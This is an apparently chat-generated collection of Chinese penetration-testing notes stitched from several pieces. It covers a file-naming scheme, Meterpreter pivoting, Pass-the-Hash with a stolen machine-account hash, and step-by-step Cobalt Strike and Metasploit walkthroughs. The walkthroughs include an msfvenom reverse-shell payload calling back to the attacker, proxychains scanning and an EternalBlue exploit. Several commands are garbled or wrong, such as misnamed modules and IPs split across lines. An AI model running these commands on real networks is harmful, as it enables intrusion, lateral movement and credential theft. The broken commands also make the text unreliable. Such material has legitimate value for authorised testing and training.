# 简练的渗透测试文件命名规范

为了实现简洁高效的文件命名,可以缩减字段长度,同时保留关键信息,突出目标、步骤和结果,以下是优化后的命名规范:

---

## 1. 命名的基本结构
<目标标识>_<步骤缩写>_<内容描述>_<日期>.<文件格式>

- 目标标识**:用 IP 地址、域名或简短代号表示目标。
- **步骤缩写**:用固定缩写表示操作阶段,如 `RE`(信息收集)、`PE`(提权)、`EX`(漏洞利用)、`LM`(横向移动)、`DC`(解密)。
- **内容描述**:简要说明文件内容,如工具名称、数据类型。
- **日期**:避免冲突和区分时间。

---

## 2. **常见步骤的缩写和命名示例


### 1) 信息收集(Reconnaissance, `RE`)
- 命名结构:

  <目标>_RE_<内容描述>_<日期>.<文件格式>
  

- 示例:
- `192.168.1.1_RE_ports_1121.txt` (端口扫描结果)
- target_RE_subdomains_1121.txt (子域名枚举结果)
- 192.168.1.1_RE_banner_1121.txt (服务探测结果)

---

### 2) 提权(Privilege Escalation, `PE`)
- 命名结构:

  <目标>_PE_<方法或工具>_<日期>.<文件格式>
  

- 示例:
- `192.168.1.1_PE_kernel_1121.log` (内核漏洞提权日志)
- 192.168.1.1_PE_suggester_1121.txt (提权建议工具输出)
- 192.168.1.1_PE_token_1121.dmp (提取的用户 Token)

---

### 3) 漏洞利用(Exploitation, `EX`)
- 命名结构:

  <目标>_EX_<漏洞编号或工具>_<日期>.<文件格式>
  

- 示例:
- `192.168.1.1_EX_cve-2021-1234_1121.log` (CVE 利用日志)
- 192.168.1.1_EX_payload_1121.bin (生成的 Payload 文件)
- target_EX_rce_1121.log (远程代码执行日志)

---

### 4) 横向移动(Lateral Movement, `LM`)
- 命名结构:

  <源IP>_<目标IP>_LM_<方法>_<日期>.<文件格式>
  

- 示例:
- `192.168.1.1_192.168.1.2_LM_passhash_1121.log` (Pass-the-Hash 攻击日志)
- 192.168.1.1_192.168.1.3_LM_rdp_1121.log (RDP 横向移动日志)
- 192.168.1.1_192.168.1.4_LM_smb_1121.txt (SMB 横向移动记录)

---

### 5) 数据提取与解密(Decryption, `DC`)
- 命名结构:

  <目标>_DC_<描述>_<日期>.<文件格式>
  

- 示例:
- `192.168.1.1_DC_hashdump_1121.txt` (密码哈希提取)
- target_DC_creds_1121.txt (解密的凭据)
- 192.168.1.1_DC_ssl_1121.log (SSL 解密流量)

---

### 6) 数据收集(Data Collection, `DT`)
- 命名结构:

  <目标>_DT_<数据描述>_<日期>.<文件格式>
  

- 示例:
- `192.168.1.1_DT_files_1121.zip` (收集的文件)
- target_DT_creds_1121.txt (提取的凭证)
- 192.168.1.1_DT_dbs_1121.sql (数据库导出文件)

---

### 7) 报告生成(Reporting, `RP`)
- 命名结构:

  <目标>_RP_<类型>_<日期>.<文件格式>
  

- 示例:
- `target_RP_summary_1121.pdf` (渗透测试总结报告)
- 192.168.1.1_RP_full_1121.docx (完整测试报告)
- target_RP_incident_1121.xlsx (事件分析报告)

---

## 3. 常用的命名缩写表

| 步骤 | 缩写 | 说明 |
|------------|-------|--------------------|
| 信息收集 | RE | Reconnaissance |
| 提权 | PE | Privilege Escalation |
| 漏洞利用 | EX | Exploitation |
| 横向移动 | LM | Lateral Movement |
| 解密 | DC | Decryption |
| 数据提取 | DT | Data Collection |
| 报告生成 | RP | Reporting |

---

## 4. 简化文件夹分类建议
创建简单的文件夹分类管理:
/project/
├── RE/   # 信息收集
│   └── target_RE_ports_1121.txt
├── PE/   # 提权
│   └── 192.168.1.1_PE_kernel_1121.log
├── EX/   # 漏洞利用
│   └── 192.168.1.1_EX_payload_1121.bin
├── LM/   # 横向移动
│   └── 192.168.1.1_192.168.1.2_LM_passhash_1121.log
├── DC/   # 数据提取与解密
│   └── target_DC_creds_1121.txt
├── RP/   # 报告生成
│   └── target_RP_summary_1121.pdf


---

## 关键词总结
#渗透测试 #文件命名 #简练命名 #提权 #漏洞利用 #横向移动 #解密 #报告生成
### 目标内网主机无法直接访问时的渗透策略

当你需要渗透的目标主机位于内网中,并且你无法直接访问时,可以通过以下几种常见的方法来实现对内网主机的访问。这些方法通常基于你已获得的其他内网主机的访问权限(如通过 Meterpreter 会话)。

### 1. 利用目标主机的网关或中转主机(跳板机)

如果你能够访问到一台在内网中的机器,且该机器可以访问目标主机,你可以通过它来进行跳板攻击。这可以通过 端口转发 来实现,具体步骤如下:

#### 1.1 使用 Meterpreter 进行端口转发(port forwarding)

如果你已经通过 Meterpreter 会话连接到了内网中的一台主机,你可以设置 端口转发**,将目标主机的服务流量通过当前会话的机器转发到你的本地机器,从而绕过内网的防火墙限制。

假设目标主机的 IP 为 `192.168.1.10`,并且你想要访问该主机的 SMB 服务(端口 445),你可以使用以下命令来设置端口转发:

```bash
meterpreter > portfwd add -l 445 -p 445 -r
192.168.1.10
```

此命令会将你本地的 445 端口流量转发到目标主机 `192.168.1.10` 的 445 端口。你现在可以从你的本地机器直接访问目标主机的 SMB 服务。

#### 1.2 **多级端口转发


如果你在内网中的机器连接到了多个目标,或有多个跳板主机,可以通过逐级转发端口来实现对目标主机的访问。例如,你可以通过一台中间主机(假设它的 IP 是 `192.168.1.2`)来转发流量。

在这种情况下,步骤如下:

1. 先在 `192.168.1.2` 上设置端口转发:
   meterpreter > portfwd add -l 4444 -p 445 -r 192.168.1.10
   


2. 然后在你本地机器上转发端口:
   meterpreter > portfwd add -l 5555 -p 4444 -r 192.168.1.2
   


此时,你可以通过连接到本地的 5555 端口访问目标主机的 SMB 服务。

### 2. 通过 VPN 或 RDP 实现远程访问

如果你的攻击工具或环境中包含了一个可以访问内网的 VPN 或 RDP 服务,可以通过这些服务来实现对内网主机的访问。

#### 2.1 利用 RDP 登录到内网主机

如果你获得了内网中某台主机的凭据(通过之前的凭据枚举等方法),你可以尝试通过 RDP(远程桌面协议) 登录到这台主机。你可以使用 RDP 客户端连接并进行后续的渗透。

#### 2.2 通过 VPN 隧道访问内网

如果你有权限连接到一个已经配置好的 VPN,可以通过 VPN 将你的机器虚拟地接入到目标内网。这将使你可以访问到内网中的其他主机,包括无法直接访问的目标主机。

### 3. 使用 `pivoting` 技术进行内网渗透

#### 3.1 利用 Meterpreter 的 `pivoting` 功能

当你获得对一台内网主机的 Meterpreter 会话时,可以使用 pivoting 技术将流量通过该主机转发到其他内部主机。Meterpreter 提供了一些命令来设置这一功能。

##### 设置 HTTP 隧道:
meterpreter > run autoroute -s 192.168.1.0/24

这个命令会将目标子网(例如 `192.168.1.0/24`)的流量通过当前的 Meterpreter 会话进行转发。

##### 设置 SOCKS5 代理:
meterpreter > run socks5a

通过设置 SOCKS5 代理,你可以将你所有的网络流量通过当前的会话传输,从而实现内网的访问。你可以配置本地的浏览器或其他工具,使用 SOCKS5 代理来访问内网中的其他主机。

#### 3.2 使用 `autoroute` 进行路由添加

autoroute 是一个 Meterpreter 后渗透模块,可以帮助你自动添加路由,从而使得你的网络流量能够通过目标主机进行传递。

你可以使用以下命令来添加目标网络路由:
meterpreter > run autoroute -p


这个命令会自动检查并添加目标网络的路由,确保你可以访问到内网的其他主机。

### 4. 使用反向代理(Reverse Proxy)

如果目标主机位于内网并且防火墙阻止了直接的访问,你还可以尝试通过反向代理技术绕过这些限制。例如,如果你能在一台内网主机上设置反向代理,可以将流量通过这台主机转发到目标主机。

### 5. 通过 SMB 进行横向渗透

如果你已经获得了某台内网主机的凭据(如 stu1$`),并且目标机器使用 SMB 协议,可以通过 **SMB 远程执行** 进行横向渗透。以下是如何利用 `psexecsmb_exec 模块进行操作:

#### 使用 psexec 模块:
meterpreter > use exploit/windows/smb/psexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit


#### 使用 smb_exec 模块:
meterpreter > use post/windows/gather/smbexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit


这些方法可以帮助你横向渗透到目标主机。

### 总结

- **端口转发**:通过内网中的一台主机进行端口转发,实现对其他目标主机的访问。
- **跳板主机**:利用内网中的跳板主机进行进一步渗透。
- **pivoting 技术**:使用 Meterpreter 的 autoroute 和 SOCKS5 代理功能来实现内网访问。
- **反向代理**:在内网主机上设置反向代理,实现流量转发。
- **横向渗透**:利用 SMB 等协议进行横向渗透,进一步访问内网其他主机。

通过这些方法,即使目标主机位于内网中并且不可直接访问,你依然可以借助其他内网主机、端口转发或 VPN 等手段进行渗透。

#Metasploit #Meterpreter #内网渗透 #跳板机 #端口转发 #pivoting #横向渗透 #反向代理 #SMB
### 内网域信息探测与利用 stu1$ 进行域渗透

在渗透测试中,域信息探测和利用计算机账户(如 stu1$`)进行域渗透是常见的攻击步骤。下面,我会分别讲解如何进行域信息探测以及如何利用 `stu1$ 进行域渗透。

### 1. 内网域信息探测
在对内网进行渗透时,首先需要了解目标网络的域信息,特别是关于域控制器、域名、计算机账户等。你可以通过以下方法获取内网域信息:

#### 1.1. 使用 Nmap 执行域扫描
Nmap 提供了一些脚本,可以帮助你快速探测目标网络中的域信息。以下是几种常见的 Nmap 脚本:

- 扫描域控制器**:
使用 `nmap` 的 `--script` 参数来扫描目标网络中的域控制器:
```bash
nmap -p 445 --script smb-os-fingerprint,smb-enum-domains,smb-enum-users <目标IP>
```
- `smb-enum-domains`:枚举网络中的域。
- `smb-enum-users`:枚举域中的用户账户。
- `smb-os-fingerprint`:识别目标系统的操作系统版本。

#### 1.2. **使用 SMB 扫描域信息

你可以使用 `smbclient` 工具来探测域和计算机信息。以下命令可以列出目标网络中的共享信息:
smbclient -L //<目标IP> -U <用户名>

这个命令会列出目标主机的 SMB 共享,并显示域信息。如果你没有用户名,可以尝试匿名登录:
smbclient -L //<目标IP> -U guest


#### 1.3. 使用 Enum4Linux 获取域信息
enum4linux 是一个强大的工具,用于从 Windows 主机(特别是域控制器)收集信息。你可以使用它来探测域名、域用户、计算机账户等信息:
enum4linux -a <目标IP>

该命令将显示大量的域信息,包括用户、组、计算机等。

#### 1.4. 查询域控制器的 DNS 信息
使用 nslookupdig 查询域控制器的 DNS 记录:
nslookup -type=SRV _ldap._tcp.<domain>

这将显示与目标域相关的 LDAP 服务信息,帮助你定位域控制器。

### 2. 利用 `stu1$` 进行域渗透
stu1$ 是一个计算机账户,它通常在域中代表计算机或工作站(以 $ 结尾)。利用 stu1$ 进行域渗透通常涉及使用计算机账户的 NTLM 哈希进行身份验证,尤其是在通过 Windows 域网络进行横向移动时。

#### 2.1. 理解 `stu1$` 计算机账户
计算机账户(以 $ 结尾)通常具有与域用户相同的权限,它们用于 Windows 域控制器上的身份验证。由于你已经获得了 stu1$ 计算机账户的 NTLM 哈希,你可以尝试使用它来在网络中进行身份验证或横向移动。

#### 2.2. 使用 `stu1$` 进行横向渗透
一旦你获得了 stu1$ 计算机账户的 NTLM 哈希,你可以使用工具如 psexec`、`wmiexecsmbexec 来进行横向渗透。这些工具允许你利用 NTLM 哈希进行身份验证,并在远程主机上执行命令。

- 使用 Psexec (Metasploit 的 psexec 模块)**:
```bash
use exploit/windows/smb/psexec
set RHOSTS <目标IP>
set SMBUser stu1$
set SMBPass <stu1$的NTLM哈希>
exploit
```

或者使用 `psexec.py` 工具:
```bash
python
psexec.py stu1$:<stu1$的NTLM哈希>@<目标IP>
```

这将允许你使用 `stu1$` 账户(通过其 NTLM 哈希)执行远程命令。

#### 2.3. **利用 Pass-the-Hash 进行身份验证

通过 Pass-the-Hash 攻击,使用已获取的 NTLM 哈希直接进行身份验证,而无需明文密码。你可以利用 pth 工具包(如 `impacket`)进行攻击:

impacket-psexec stu1$:<stu1$的NTLM哈希>@<目标IP>

或者使用 `pth-winexe`:
winexe -U "stu1$%<stu1$的NTLM哈希>" //<目标IP> "cmd.exe"

这样,你就能在目标主机上执行命令,并获取访问权限。

#### 2.4. 进一步利用计算机账户
如果 `stu1$` 计算机账户属于域管理员组(例如 `Domain Admins`),你可以利用它来进行更深入的渗透操作,获取更高权限的访问。

- 通过 `net group` 命令列出域管理员组:
  net group "Domain Admins" /domain
  


如果 stu1$ 计算机账户属于该组,你可以尝试通过该账户获取域管理员权限。

### 3. 总结
- **域信息探测**:通过 Nmap、enum4linux、SMB 等工具,你可以收集内网的域信息、计算机账户、共享资源等。
- **利用 stu1$ 进行域渗透**:通过 Pass-the-Hash 攻击、psexec 或 Winexe,你可以利用 stu1$ 计算机账户的 NTLM 哈希进行远程命令执行和横向渗透。

这些步骤将帮助你在内网中利用计算机账户进行有效的域渗透,进一步获得对目标网络的控制。

#域渗透 #PassTheHash #stu1$ #Metasploit #Nmap #SMB #横向渗透 #网络渗透
### 🌐 内网渗透场景概述

#### 1. 网络环境
- 双网卡 Web 服务器**:
- 连接外网和内网,作为外网入口。
- **若干内网主机**:
- 处于不同域中,无法直接访问外网。

#### **2. 当前权限

- 已通过 getshell 获取 Web 服务器权限,并通过 蚁剑 连接。

#### 3. 渗透目标
- 进一步渗透内网主机。
- 通过 Web 服务器的双网卡访问内网资源。
- 在外网 Kali 攻击机上使用 Cobalt StrikeMetasploit 进行渗透。

---

### 🛠 渗透步骤总结

#### 方案一:Cobalt Strike(CS)渗透
1. 设置 CS 监听器**(反向 HTTP Beacon)。
2. **上传 Beacon 到 Web 服务器**,通过蚁剑执行。
3. **获取 Beacon 会话**,在 CS 中启动 **Socks5 代理**。
4. 使用 `proxychains` 在 Kali 上进行 **内网扫描
横向渗透**。

#### **方案二:Metasploit(MSF)渗透

1. 生成 Meterpreter Payload**,并通过蚁剑上传到 Web 服务器执行。
2. **捕获 Meterpreter 会话**,使用 `portfwd` 转发内网端口。
3. 启用 **Socks4 代理**,使用 `autoroute` 扩展内网访问能力。
4. 利用 `proxychains` 进行 **内网扫描
漏洞利用(如 MS17-010)**。

---

### 🔑 关键要点
- 利用 **双网卡 Web 服务器
作为跳板。
- 结合 Socks 代理 和 **proxychains**,实现 Kali 与内网的通信。
- 使用 CS 和 MSF 的代理功能,实现内网横向渗透和权限提升。

---

### 关键词
#内网渗透 #双网卡服务器 #CobaltStrike #Metasploit #Socks代理 #横向渗透 #蚁剑
### 🛠 双网卡环境内网渗透方案(基于 Cobalt Strike 与 Metasploit)

在你当前的网络环境中,双网卡 Web 服务器充当了一个桥梁,连接了外网与内网。你已经通过 getshell 获取了 Web 服务器的权限,并通过蚁剑进行连接。接下来,我们将探讨如何使用 Cobalt Strike(CS)Metasploit(MSF) 进行进一步的内网渗透。下面提供了基于两种工具的详细步骤。

---

## 🌐 一、使用 Cobalt Strike 进行内网渗透

### 1. 设置 CS 监听器(Listener)
首先,需要在你当前的 Kali 上设置一个 CS 监听器,用于与目标服务器建立连接。

- 步骤**:
1. 打开 Cobalt Strike 客户端,连接到你的 CS Team Server。
2. 导航到 **Cobalt Strike -> Listeners**,点击 **Add**。
3. 配置监听器:
- **Payload
: windows/beacon_http/reverse_http
- Host: 你的 Kali IP 地址(公网或 VPS IP)
- Port: 80(或其他常用端口)
4. 点击 Save 以创建监听器。

### 2. 上传 CS 的 Beacon 到 Web 服务器
你已经通过蚁剑连接到 Web 服务器,接下来可以上传 CS 的 Beacon。

- 步骤**:
1. 在 CS 中生成 Payload:
- 导航到 **Attacks -> Packages -> Windows Executable (S)

- 选择刚刚创建的监听器,生成一个 .exe.dll 文件。
2. 使用蚁剑将生成的文件上传到 Web 服务器上,并通过命令执行它:
      shell:cmd.exe /c beacon.exe
      

3. 如果成功运行,CS 中会显示一个新的 Beacon 连接。

### 3. 配置 Socks Proxy 以渗透内网
为了通过 Web 服务器进一步渗透内网主机,可以利用 CS 的 Socks Proxy 功能。

- 步骤**:
1. 在 CS 中选择连接的 Beacon。
2. 右键 -> **Explore -> Socks Server**,启动 `Socks5` 代理(默认端口 `1080`)。
3. 在 Kali 上配置代理工具(如 `proxychains`),将其流量导向 CS 的 Socks 代理:
```bash
echo "socks5
127.0.0.1 1080" >> /etc/proxychains.conf
```
4. 使用 `proxychains` 运行内网扫描工具(如 `nmap`):
```bash
proxychains nmap -sT -Pn
192.168.1.0/24
```

### 4. 横向渗透和权限提升
- 利用 CS 的 **Elevate
功能,尝试提升权限。
- 使用 PsExec、WMI 等模块在内网进行横向移动:
  psexec \\192.168.1.10 -u admin -p password -c payload.exe
  


---

## 🛠 二、使用 Metasploit 进行内网渗透

### 1. 利用蚁剑执行 MSF Payload
既然已经通过蚁剑获得了 Web 服务器的 Shell,可以直接通过 MSF 生成 Payload 并在 Web 服务器上执行。

- 步骤**:
1. 在 Kali 中生成 MSF 的反向 Shell Payload:
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=4444 -f exe -o meterpreter.exe
```
2. 使用蚁剑将 `meterpreter.exe` 上传到 Web 服务器,并执行:
```shell
shell:cmd.exe /c meterpreter.exe
```

### 2. 在 MSF 中捕获会话
- **步骤**:
1. 启动 `msfconsole` 并设置监听器:
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Kali IP>
set LPORT 4444
run
```
2. 如果成功,你将在 MSF 中获得一个 `meterpreter` 会话。

### 3. 设置 Meterpreter 的 Port Forwarding
- 如果 Web 服务器能访问内网主机,可以使用 `portfwd` 将内网端口转发到你的 Kali。

```shell
meterpreter > portfwd add -l 8888 -p 3389 -r
192.168.1.10
```
这里将 Web 服务器的 3389(RDP)端口转发到 Kali 的 8888 端口。

### 4. 使用 MSF 的 Socks Proxy 进行内网渗透
1. **在 meterpreter 中启动 socks 代理**:
```shell
meterpreter > run autoroute -s
192.168.1.0/24
meterpreter > run socks_proxy
```
2. **配置 proxychains**:
```bash
echo "socks4
127.0.0.1 1080" >> /etc/proxychains.conf
```
3. **通过 proxychains 进行内网扫描**:
```bash
proxychains nmap -sS -Pn
192.168.1.0/24
```

### 5.
横向渗透(MS17-010、EternalBlue)
- 使用 MSF 的 `exploit/windows/smb/ms17_010_eternalblue` 模块来进行内网主机的攻击:
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS
192.168.1.20
set LHOST <Kali IP>
run
```

---

##
🔑 关键点总结**

1. Cobalt Strike 适合通过 Beacon 和 Socks 代理对内网进行隐蔽渗透。
2. Metasploit 提供强大的内网扫描、漏洞利用和横向移动能力。
3. 利用 双网卡服务器 作为桥梁,结合 CS 和 MSF 的代理功能,能有效地渗透无法直接访问的内网区域。

---

### 关键词
#CobaltStrike #Metasploit #内网渗透 #双网卡服务器 #蚁剑 #Socks代理 #横向渗透 #权限提升
 
 
Back to Top